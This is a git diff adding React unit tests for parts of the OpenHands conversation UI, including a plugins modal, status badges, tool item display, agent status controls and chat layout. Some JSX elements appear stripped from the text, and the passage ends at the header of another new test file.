+ setStoredConversationMetadata(CONVERSATION_ID, {
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ plugins: [
+ { source: "local", ref: null, repo_path: null, name: "city-weather" },
+ ],
+ });
+
+ renderModal();
+
+ expect(
+ screen.getByTestId("active-plugin-city-weather"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders a normalized 'Local' label for locally-installed plugins instead of the raw source", () => {
+ // The agent-server records local installs two ways: the "local" sentinel
+ // and an absolute filesystem path. Both should read the same, and the path
+ // (which leaks the home dir) must not be shown verbatim.
+ setStoredConversationMetadata(CONVERSATION_ID, {
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ plugins: [
+ { source: "local", ref: null, repo_path: null, name: "city-weather" },
+ {
+ source:
+ "/Users/me/.openhands/cache/skills/public-skills/plugins/magic-test",
+ ref: null,
+ repo_path: null,
+ name: "magic-test",
+ },
+ ],
+ });
+
+ renderModal();
+
+ expect(screen.getAllByText("PLUGINS_MODAL$SOURCE_LOCAL")).toHaveLength(2);
+ expect(
+ screen.queryByText(
+ "/Users/me/.openhands/cache/skills/public-skills/plugins/magic-test",
+ ),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the empty state when no plugins are attached", () => {
+ setStoredConversationMetadata(CONVERSATION_ID, {
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ });
+
+ renderModal();
+
+ expect(screen.getByText("PLUGINS_MODAL$EMPTY")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx b/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b317a67982b8d0315ef667c7b9c7bc0f0b6ea78b
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx
@@ -0,0 +1,31 @@
+import { screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import { StartTaskStatusBadge } from "#/components/features/conversation-panel/start-task-card/start-task-status-badge";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("StartTaskStatusBadge", () => {
+ // react-i18next is globally mocked so `t` echoes the key; asserting the key
+ // proves the label is resolved through i18n rather than a raw enum transform.
+ it.each([
+ ["STARTING_CONVERSATION", I18nKey.CONVERSATION$STARTING_CONVERSATION],
+ ["READY", I18nKey.CONVERSATION$READY],
+ ["ERROR", I18nKey.COMMON$ERROR],
+ ] as const)(
+ "localizes the label for the %s status",
+ (taskStatus, expectedKey) => {
+ renderWithProviders( );
+
+ expect(screen.getByText(expectedKey)).toBeInTheDocument();
+ },
+ );
+
+ it("renders nothing for the WORKING status", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+
+ expect(container).toBeEmptyDOMElement();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx b/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e0e71bda881fa2db9cc50cffb44c23a5221f8f71
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx
@@ -0,0 +1,551 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ToolItem } from "#/components/features/conversation-panel/system-message-modal/tool-item";
+import type { ChatCompletionToolParam } from "#/types/agent-server/core";
+
+describe("ToolItem", () => {
+ const user = userEvent.setup();
+ const onToggleMock = vi.fn();
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ });
+
+ describe("Name/Title Extraction", () => {
+ it("should display name from V0 format function.name", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Test description",
+ parameters: {},
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toggleButton = screen.getByTestId("toggle-button");
+ expect(toggleButton).toHaveTextContent("test_function");
+ });
+
+ it("should display title from V1 format root level", () => {
+ // Arrange
+ const v1Tool = {
+ title: "V1 Tool Title",
+ description: "V1 description",
+ parameters: { type: "object" },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toggleButton = screen.getByTestId("toggle-button");
+ expect(toggleButton).toHaveTextContent("V1 Tool Title");
+ });
+
+ it("should prioritize root title over annotations.title in V1 format", () => {
+ // Arrange
+ const v1Tool = {
+ title: "Root Title",
+ annotations: {
+ title: "Annotations Title",
+ },
+ description: "Description",
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toggleButton = screen.getByTestId("toggle-button");
+ expect(toggleButton).toHaveTextContent("Root Title");
+ });
+
+ it("should fallback to annotations.title when root title is missing", () => {
+ // Arrange
+ const v1Tool = {
+ annotations: {
+ title: "Annotations Title",
+ },
+ description: "Description",
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toggleButton = screen.getByTestId("toggle-button");
+ expect(toggleButton).toHaveTextContent("Annotations Title");
+ });
+
+ it("should display empty string when no name or title is available", () => {
+ // Arrange
+ const toolWithoutName = {
+ description: "Description only",
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toggleButton = screen.getByTestId("toggle-button");
+ expect(toggleButton).toHaveTextContent("");
+ });
+ });
+
+ describe("Description Extraction", () => {
+ it("should display description from V0 format function.description when expanded", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "V0 function description",
+ parameters: {},
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const markdownRenderer = screen.getByTestId("markdown-renderer");
+ expect(markdownRenderer).toHaveTextContent("V0 function description");
+ });
+
+ it("should display description from V1 format root level when expanded", () => {
+ // Arrange
+ const v1Tool = {
+ title: "V1 Tool",
+ description: "V1 root description",
+ parameters: {},
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const markdownRenderer = screen.getByTestId("markdown-renderer");
+ expect(markdownRenderer).toHaveTextContent("V1 root description");
+ });
+
+ it("should prioritize root description over function.description in V1 format", () => {
+ // Arrange
+ const v1Tool = {
+ title: "V1 Tool",
+ description: "Root description",
+ function: {
+ description: "Function description",
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const markdownRenderer = screen.getByTestId("markdown-renderer");
+ expect(markdownRenderer).toHaveTextContent("Root description");
+ });
+
+ it("should display empty string when no description is available", () => {
+ // Arrange
+ const toolWithoutDescription = {
+ title: "Tool Name",
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const markdownRenderer = screen.getByTestId("markdown-renderer");
+ expect(markdownRenderer).toHaveTextContent("");
+ });
+
+ it("should not display description when collapsed", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Should not be visible",
+ parameters: {},
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.queryByTestId("markdown-renderer")).not.toBeInTheDocument();
+ });
+ });
+
+ describe("Parameters Extraction", () => {
+ it("should display parameters from V0 format function.parameters when expanded", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Description",
+ parameters: {
+ type: "object",
+ properties: {
+ param1: { type: "string" },
+ },
+ },
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toolParameters = screen.getByTestId("tool-parameters");
+ expect(toolParameters).toBeInTheDocument();
+ // Verify that the parameters are rendered (ReactJsonView will render the JSON)
+ expect(toolParameters).toHaveTextContent("param1");
+ });
+
+ it("should display parameters from V1 format root level when expanded", () => {
+ // Arrange
+ const v1Tool = {
+ title: "V1 Tool",
+ description: "Description",
+ parameters: {
+ type: "object",
+ properties: {
+ param2: { type: "number" },
+ },
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toolParameters = screen.getByTestId("tool-parameters");
+ expect(toolParameters).toBeInTheDocument();
+ // Verify that the parameters are rendered (ReactJsonView will render the JSON)
+ expect(toolParameters).toHaveTextContent("param2");
+ });
+
+ it("should prioritize function.parameters over root parameters in V0 format", () => {
+ // Arrange
+ const v0Tool = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Description",
+ parameters: {
+ type: "object",
+ source: "function",
+ },
+ },
+ parameters: {
+ type: "object",
+ source: "root",
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ const toolParameters = screen.getByTestId("tool-parameters");
+ expect(toolParameters).toBeInTheDocument();
+ // Verify that function parameters are used (not root parameters)
+ expect(toolParameters).toHaveTextContent("function");
+ expect(toolParameters).not.toHaveTextContent("root");
+ });
+
+ it("should not display parameters when they are null", () => {
+ // Arrange
+ const toolWithoutParameters = {
+ title: "Tool Name",
+ description: "Description",
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument();
+ });
+
+ it("should not display parameters when collapsed", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Description",
+ parameters: {
+ type: "object",
+ },
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument();
+ });
+ });
+
+ describe("Toggle Functionality", () => {
+ it("should call onToggle with correct index when toggle button is clicked", async () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Description",
+ parameters: {},
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ const toggleButton = screen.getByTestId("toggle-button");
+ await user.click(toggleButton);
+
+ // Assert
+ expect(onToggleMock).toHaveBeenCalledOnce();
+ expect(onToggleMock).toHaveBeenCalledWith(2);
+ });
+
+ it("should show expanded content when isExpanded is true", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Test description",
+ parameters: { type: "object" },
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByTestId("markdown-renderer")).toBeInTheDocument();
+ expect(screen.getByTestId("tool-parameters")).toBeInTheDocument();
+ });
+
+ it("should hide expanded content when isExpanded is false", () => {
+ // Arrange
+ const v0Tool: ChatCompletionToolParam = {
+ type: "function",
+ function: {
+ name: "test_function",
+ description: "Test description",
+ parameters: { type: "object" },
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.queryByTestId("markdown-renderer")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("tool-parameters")).not.toBeInTheDocument();
+ });
+ });
+
+ describe("Complex Scenarios", () => {
+ it("should handle V0 format with type field correctly", () => {
+ // Arrange
+ const v0Tool = {
+ type: "function",
+ function: {
+ name: "typed_function",
+ description: "Typed description",
+ parameters: { type: "object" },
+ },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByTestId("toggle-button")).toHaveTextContent(
+ "typed_function",
+ );
+ expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(
+ "Typed description",
+ );
+ expect(screen.getByTestId("tool-parameters")).toBeInTheDocument();
+ });
+
+ it("should handle tool data where function is at root level (fallback behavior)", () => {
+ // Arrange
+ const toolWithFunctionAtRoot = {
+ name: "root_function",
+ description: "Root function description",
+ parameters: { type: "object" },
+ };
+
+ // Act
+ renderWithProviders(
+ ,
+ );
+
+ // Assert
+ expect(screen.getByTestId("toggle-button")).toHaveTextContent(
+ "root_function",
+ );
+ expect(screen.getByTestId("markdown-renderer")).toHaveTextContent(
+ "Root function description",
+ );
+ expect(screen.getByTestId("tool-parameters")).toBeInTheDocument();
+ });
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/utils.ts b/__tests__/components/features/conversation-panel/utils.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c1a60f9e60453457cc3beaabc7027ff521e208e3
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/utils.ts
@@ -0,0 +1,17 @@
+import { screen, within } from "@testing-library/react";
+import { UserEvent } from "@testing-library/user-event";
+
+export const clickOnEditButton = async (
+ user: UserEvent,
+ container?: HTMLElement,
+) => {
+ const wrapper = container ? within(container) : screen;
+
+ const ellipsisButton = wrapper.getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+
+ const menu = screen.getByTestId("context-menu");
+ const editButton = within(menu).getByTestId("edit-button");
+
+ await user.click(editButton);
+};
diff --git a/__tests__/components/features/conversation/agent-status.test.tsx b/__tests__/components/features/conversation/agent-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..68e392f4cf05679459b36e913e07c37791a8894d
--- /dev/null
+++ b/__tests__/components/features/conversation/agent-status.test.tsx
@@ -0,0 +1,480 @@
+import type { SVGProps } from "react";
+import { act, fireEvent, render, screen } from "@testing-library/react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { AgentStatus } from "#/components/features/controls/agent-status";
+import { AgentState } from "#/types/agent-state";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import type { WebSocketConnectionState } from "#/contexts/conversation-websocket-context";
+import type { AppConversationStartTaskStatus } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { I18nKey } from "#/i18n/declaration";
+
+const agentStatusMocks = vi.hoisted(() => ({
+ useActiveConversation: vi.fn(),
+ useAgentNotification: vi.fn(),
+ useAgentState: vi.fn(),
+ useConversationStore: vi.fn(),
+ useSubConversationTaskPolling: vi.fn(),
+ useTaskPolling: vi.fn(),
+ useUnifiedWebSocketStatus: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: (namespace?: string) => ({
+ t: (key: string) =>
+ namespace === "openhands" ? key : `missing-namespace:${key}`,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: agentStatusMocks.useActiveConversation,
+}));
+
+vi.mock("#/hooks/use-agent-notification", () => ({
+ useAgentNotification: agentStatusMocks.useAgentNotification,
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: agentStatusMocks.useAgentState,
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+ useConversationStore: agentStatusMocks.useConversationStore,
+}));
+
+vi.mock("#/hooks/query/use-sub-conversation-task-polling", () => ({
+ useSubConversationTaskPolling: agentStatusMocks.useSubConversationTaskPolling,
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+ useTaskPolling: agentStatusMocks.useTaskPolling,
+}));
+
+vi.mock("#/hooks/use-unified-websocket-status", () => ({
+ useUnifiedWebSocketStatus: agentStatusMocks.useUnifiedWebSocketStatus,
+}));
+
+vi.mock("#/icons/u-clock-three.svg?react", () => ({
+ default: (props: SVGProps) => (
+
+ ),
+}));
+
+interface AgentStatusScenario {
+ agentState?: AgentState;
+ className?: string;
+ conversationId?: string | null;
+ disabled?: boolean;
+ executionStatus?: ExecutionStatus | null;
+ isPausing?: boolean;
+ subConversationTaskId?: string | null;
+ subConversationTaskStatus?: AppConversationStartTaskStatus;
+ taskStatus?: AppConversationStartTaskStatus;
+ webSocketStatus?: WebSocketConnectionState;
+}
+
+function renderAgentStatus({
+ agentState = AgentState.AWAITING_USER_CONFIRMATION,
+ className,
+ conversationId = "conversation-1",
+ disabled,
+ executionStatus = ExecutionStatus.WAITING_FOR_CONFIRMATION,
+ isPausing,
+ subConversationTaskId = "sub-task-1",
+ subConversationTaskStatus,
+ taskStatus,
+ webSocketStatus = "OPEN",
+}: AgentStatusScenario = {}) {
+ const handleResumeAgent = vi.fn();
+ const handleStop = vi.fn();
+ const setShouldShownAgentLoading = vi.fn();
+
+ agentStatusMocks.useActiveConversation.mockReturnValue({
+ data: conversationId ? { id: conversationId } : undefined,
+ });
+ agentStatusMocks.useAgentState.mockReturnValue({
+ curAgentState: agentState,
+ executionStatus,
+ });
+ agentStatusMocks.useConversationStore.mockReturnValue({
+ setShouldShownAgentLoading,
+ subConversationTaskId,
+ });
+ agentStatusMocks.useSubConversationTaskPolling.mockReturnValue({
+ taskStatus: subConversationTaskStatus,
+ });
+ agentStatusMocks.useTaskPolling.mockReturnValue({ taskStatus });
+ agentStatusMocks.useUnifiedWebSocketStatus.mockReturnValue(webSocketStatus);
+
+ const view = render(
+ ,
+ );
+
+ return {
+ ...view,
+ handleResumeAgent,
+ handleStop,
+ setShouldShownAgentLoading,
+ };
+}
+
+afterEach(() => {
+ vi.clearAllMocks();
+ vi.useRealTimers();
+});
+
+describe("AgentStatus", () => {
+ it.each([
+ {
+ label: "the runtime is initializing",
+ scenario: {
+ agentState: AgentState.INIT,
+ conversationId: null,
+ executionStatus: null,
+ },
+ },
+ {
+ label: "the runtime is loading",
+ scenario: {
+ agentState: AgentState.LOADING,
+ executionStatus: null,
+ },
+ },
+ {
+ label: "the websocket is connecting",
+ scenario: { webSocketStatus: "CONNECTING" as const },
+ },
+ {
+ label: "the parent conversation task is polling",
+ scenario: { taskStatus: "WORKING" as const },
+ },
+ {
+ label: "the sub-conversation task is polling",
+ scenario: {
+ subConversationTaskStatus: "WORKING" as const,
+ taskStatus: "READY" as const,
+ },
+ },
+ ])("shows loading while $label", ({ scenario }) => {
+ const { setShouldShownAgentLoading } = renderAgentStatus(scenario);
+
+ expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument();
+ expect(setShouldShownAgentLoading).toHaveBeenCalledWith(true);
+ });
+
+ it("shows local pause progress without reporting the agent as loading", () => {
+ const { setShouldShownAgentLoading } = renderAgentStatus({
+ isPausing: true,
+ });
+
+ expect(screen.getByTestId("agent-loading-spinner")).toBeInTheDocument();
+ expect(setShouldShownAgentLoading).toHaveBeenCalledWith(false);
+ });
+
+ it("reports loading changes after the component rerenders", () => {
+ const {
+ handleResumeAgent,
+ handleStop,
+ rerender,
+ setShouldShownAgentLoading,
+ } = renderAgentStatus();
+ expect(setShouldShownAgentLoading).toHaveBeenLastCalledWith(false);
+ setShouldShownAgentLoading.mockClear();
+ agentStatusMocks.useAgentState.mockReturnValue({
+ curAgentState: AgentState.LOADING,
+ executionStatus: null,
+ });
+
+ rerender(
+ ,
+ );
+
+ expect(setShouldShownAgentLoading).toHaveBeenCalledWith(true);
+ });
+
+ it("forwards the active conversation to sub-conversation polling", () => {
+ const { handleResumeAgent, handleStop, rerender } = renderAgentStatus({
+ conversationId: "conversation-42",
+ subConversationTaskId: "sub-task-42",
+ });
+ expect(
+ agentStatusMocks.useSubConversationTaskPolling,
+ ).toHaveBeenLastCalledWith("sub-task-42", "conversation-42");
+ agentStatusMocks.useActiveConversation.mockReturnValue({ data: undefined });
+
+ rerender(
+ ,
+ );
+
+ expect(
+ agentStatusMocks.useSubConversationTaskPolling,
+ ).toHaveBeenLastCalledWith("sub-task-42", null);
+ });
+
+ it("stops a running agent from an interactive status control", () => {
+ const { container, handleStop, setShouldShownAgentLoading } =
+ renderAgentStatus({
+ agentState: AgentState.RUNNING,
+ className: "custom-status-class",
+ executionStatus: ExecutionStatus.RUNNING,
+ });
+
+ const label = screen.getByText(I18nKey.AGENT_STATUS$RUNNING_TASK);
+ const stopButton = screen.getByTestId("stop-button");
+ expect(label).toHaveAttribute("title", I18nKey.AGENT_STATUS$RUNNING_TASK);
+ expect(label.parentElement).toHaveClass("custom-status-class");
+ expect(stopButton.parentElement).toHaveClass("cursor-pointer");
+ expect(screen.queryByTestId("circle-error-icon")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("clock-icon")).not.toBeInTheDocument();
+ expect(
+ container.querySelector(".lucide-circle-check"),
+ ).not.toBeInTheDocument();
+
+ fireEvent.click(stopButton);
+
+ expect(handleStop).toHaveBeenCalledTimes(1);
+ expect(setShouldShownAgentLoading).toHaveBeenCalledWith(false);
+ });
+
+ it("resumes a stopped agent", () => {
+ const { handleResumeAgent } = renderAgentStatus({
+ agentState: AgentState.STOPPED,
+ executionStatus: ExecutionStatus.PAUSED,
+ });
+
+ const playButton = screen.getByTestId("play-button");
+ expect(playButton).toBeEnabled();
+ expect(playButton.parentElement).toHaveClass("cursor-pointer");
+
+ fireEvent.click(playButton);
+
+ expect(handleResumeAgent).toHaveBeenCalledTimes(1);
+ });
+
+ it("keeps a paused agent disabled when resuming is unavailable", () => {
+ const { handleResumeAgent } = renderAgentStatus({
+ agentState: AgentState.PAUSED,
+ disabled: true,
+ executionStatus: ExecutionStatus.PAUSED,
+ });
+
+ const playButton = screen.getByTestId("play-button");
+ expect(playButton).toBeDisabled();
+
+ fireEvent.click(playButton);
+
+ expect(handleResumeAgent).not.toHaveBeenCalled();
+ });
+
+ it.each([
+ {
+ label: "agent failure",
+ scenario: {
+ agentState: AgentState.ERROR,
+ executionStatus: ExecutionStatus.ERROR,
+ },
+ },
+ {
+ label: "rate limiting",
+ scenario: { agentState: AgentState.RATE_LIMITED },
+ },
+ {
+ label: "a closed websocket",
+ scenario: { webSocketStatus: "CLOSED" as const },
+ },
+ {
+ label: "a failed conversation task",
+ scenario: {
+ taskStatus: "ERROR" as const,
+ webSocketStatus: "CONNECTING" as const,
+ },
+ },
+ ])("shows an error indicator for $label", ({ scenario }) => {
+ renderAgentStatus(scenario);
+
+ expect(screen.getByTestId("circle-error-icon")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("agent-loading-spinner"),
+ ).not.toBeInTheDocument();
+ expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("play-button")).not.toBeInTheDocument();
+ });
+
+ it("shows a non-interactive waiting indicator for user confirmation", () => {
+ renderAgentStatus();
+
+ const clockIcon = screen.getByTestId("clock-icon");
+ const label = screen.getByText(
+ I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION,
+ );
+ expect(label.parentElement).toHaveClass(
+ "flex",
+ "items-center",
+ "gap-1",
+ "min-w-0",
+ );
+ expect(label.parentElement?.className).not.toContain("Stryker");
+ expect(clockIcon.parentElement).toHaveClass(
+ "cursor-default",
+ "rounded-[100px]",
+ "size-6",
+ "transition-all",
+ );
+ expect(screen.queryByTestId("circle-error-icon")).not.toBeInTheDocument();
+ });
+
+ it("keeps persistent statuses rendered without confirmation timers", async () => {
+ vi.useFakeTimers();
+ renderAgentStatus();
+
+ await act(async () => {
+ await Promise.resolve();
+ });
+
+ expect(
+ screen.getByText(I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION),
+ ).toBeInTheDocument();
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("renders a finished confirmation on the initial server pass", () => {
+ const setShouldShownAgentLoading = vi.fn();
+ agentStatusMocks.useActiveConversation.mockReturnValue({
+ data: { id: "conversation-1" },
+ });
+ agentStatusMocks.useAgentState.mockReturnValue({
+ curAgentState: AgentState.FINISHED,
+ executionStatus: ExecutionStatus.FINISHED,
+ });
+ agentStatusMocks.useConversationStore.mockReturnValue({
+ setShouldShownAgentLoading,
+ subConversationTaskId: null,
+ });
+ agentStatusMocks.useSubConversationTaskPolling.mockReturnValue({
+ taskStatus: undefined,
+ });
+ agentStatusMocks.useTaskPolling.mockReturnValue({ taskStatus: undefined });
+ agentStatusMocks.useUnifiedWebSocketStatus.mockReturnValue("OPEN");
+
+ const markup = renderToStaticMarkup(
+ ,
+ );
+
+ expect(markup).toContain(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE);
+ expect(markup).not.toContain("opacity-0");
+ });
+
+ it("fades and hides a finished status after its brief confirmation", () => {
+ vi.useFakeTimers();
+ const { container } = renderAgentStatus({
+ agentState: AgentState.FINISHED,
+ executionStatus: ExecutionStatus.FINISHED,
+ });
+
+ const label = screen.getByText(
+ I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE,
+ );
+ const status = label.parentElement;
+ expect(status).toHaveClass("transition-opacity", "duration-500");
+ expect(status).not.toHaveClass("opacity-0");
+ expect(container.querySelector(".lucide-circle-check")).toBeInTheDocument();
+
+ act(() => {
+ vi.advanceTimersByTime(1000);
+ });
+ expect(status).toHaveClass("opacity-0");
+
+ act(() => {
+ vi.advanceTimersByTime(500);
+ });
+ expect(
+ screen.queryByText(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE),
+ ).not.toBeInTheDocument();
+ });
+
+ it("cancels a ready-status timeout when the status unmounts", () => {
+ vi.useFakeTimers();
+ const { container, unmount } = renderAgentStatus({
+ agentState: AgentState.AWAITING_USER_INPUT,
+ executionStatus: ExecutionStatus.IDLE,
+ });
+
+ expect(
+ screen.getByText(I18nKey.AGENT_STATUS$WAITING_FOR_TASK),
+ ).toBeInTheDocument();
+ expect(container.querySelector(".lucide-circle-check")).toBeInTheDocument();
+ expect(vi.getTimerCount()).toBe(2);
+
+ unmount();
+
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("keeps a non-transient status visible after a finished status expires", () => {
+ vi.useFakeTimers();
+ const { container, handleResumeAgent, handleStop, rerender } =
+ renderAgentStatus({
+ agentState: AgentState.FINISHED,
+ executionStatus: ExecutionStatus.FINISHED,
+ });
+
+ act(() => {
+ vi.advanceTimersByTime(1500);
+ });
+ expect(
+ screen.queryByText(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE),
+ ).not.toBeInTheDocument();
+
+ agentStatusMocks.useAgentState.mockReturnValue({
+ curAgentState: AgentState.AWAITING_USER_CONFIRMATION,
+ executionStatus: ExecutionStatus.WAITING_FOR_CONFIRMATION,
+ });
+ rerender(
+ ,
+ );
+
+ const waitingLabel = screen.getByText(
+ I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION,
+ );
+ expect(waitingLabel.parentElement).not.toHaveClass("opacity-0");
+
+ act(() => {
+ vi.advanceTimersByTime(2000);
+ });
+ expect(
+ screen.getByText(I18nKey.AGENT_STATUS$WAITING_FOR_USER_CONFIRMATION),
+ ).toBeInTheDocument();
+
+ const persistentStatusNode = container.firstElementChild;
+ agentStatusMocks.useAgentState.mockReturnValue({
+ curAgentState: AgentState.FINISHED,
+ executionStatus: ExecutionStatus.FINISHED,
+ });
+ rerender(
+ ,
+ );
+
+ expect(
+ screen.getByText(I18nKey.CHAT_INTERFACE$AGENT_FINISHED_MESSAGE),
+ ).toBeInTheDocument();
+ expect(container.firstElementChild).toBe(persistentStatusNode);
+ });
+});
diff --git a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..dd796ff599c680f0b40df65174f0ea9030579295
--- /dev/null
+++ b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx
@@ -0,0 +1,82 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ChatInterfaceWrapper } from "#/components/features/conversation/conversation-main/chat-interface-wrapper";
+import { useConversationStore } from "#/stores/conversation-store";
+
+vi.mock("#/components/features/chat/chat-interface", () => ({
+ ChatInterface: () =>
,
+}));
+
+vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({
+ ConversationOverviewPanel: () => (
+
+ ),
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+ useBreakpoint: () => false,
+}));
+
+const mockUseConversationOverviewColumnSpace = vi.fn(() => true);
+
+vi.mock("#/hooks/use-conversation-overview-column-space", () => ({
+ useConversationOverviewColumnSpace: () =>
+ mockUseConversationOverviewColumnSpace(),
+}));
+
+describe("ChatInterfaceWrapper", () => {
+ beforeEach(() => {
+ mockUseConversationOverviewColumnSpace.mockReturnValue(true);
+ useConversationStore.setState({
+ isOverviewPanelShown: false,
+ isOverviewPanelPeeked: false,
+ isRightPanelShown: false,
+ });
+ });
+
+ it("renders the chat interface when the right panel is hidden", () => {
+ render( );
+
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+
+ it("renders the chat interface when the right panel is shown", () => {
+ render( );
+
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+
+ it("uses the overview grid layout when space is available", () => {
+ useConversationStore.setState({ isOverviewPanelShown: true });
+ render( );
+
+ expect(screen.getByTestId("conversation-overview-column")).toBeInTheDocument();
+ expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument();
+ });
+
+ it("keeps the thread in a height-constrained flex column when overview is shown", () => {
+ useConversationStore.setState({ isOverviewPanelShown: true });
+ const { container } = render(
+ ,
+ );
+
+ const threadColumn = container.querySelector(".overflow-hidden.flex-1");
+ expect(threadColumn).toBeInTheDocument();
+ expect(threadColumn).toHaveClass("min-h-0");
+ });
+
+ it("falls back to the centered thread layout when the right column is too narrow", () => {
+ mockUseConversationOverviewColumnSpace.mockReturnValue(false);
+ useConversationStore.setState({ isOverviewPanelShown: true });
+
+ render( );
+
+ expect(
+ screen.queryByTestId("conversation-overview-column"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-overview-panel"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx
new file mode 100644
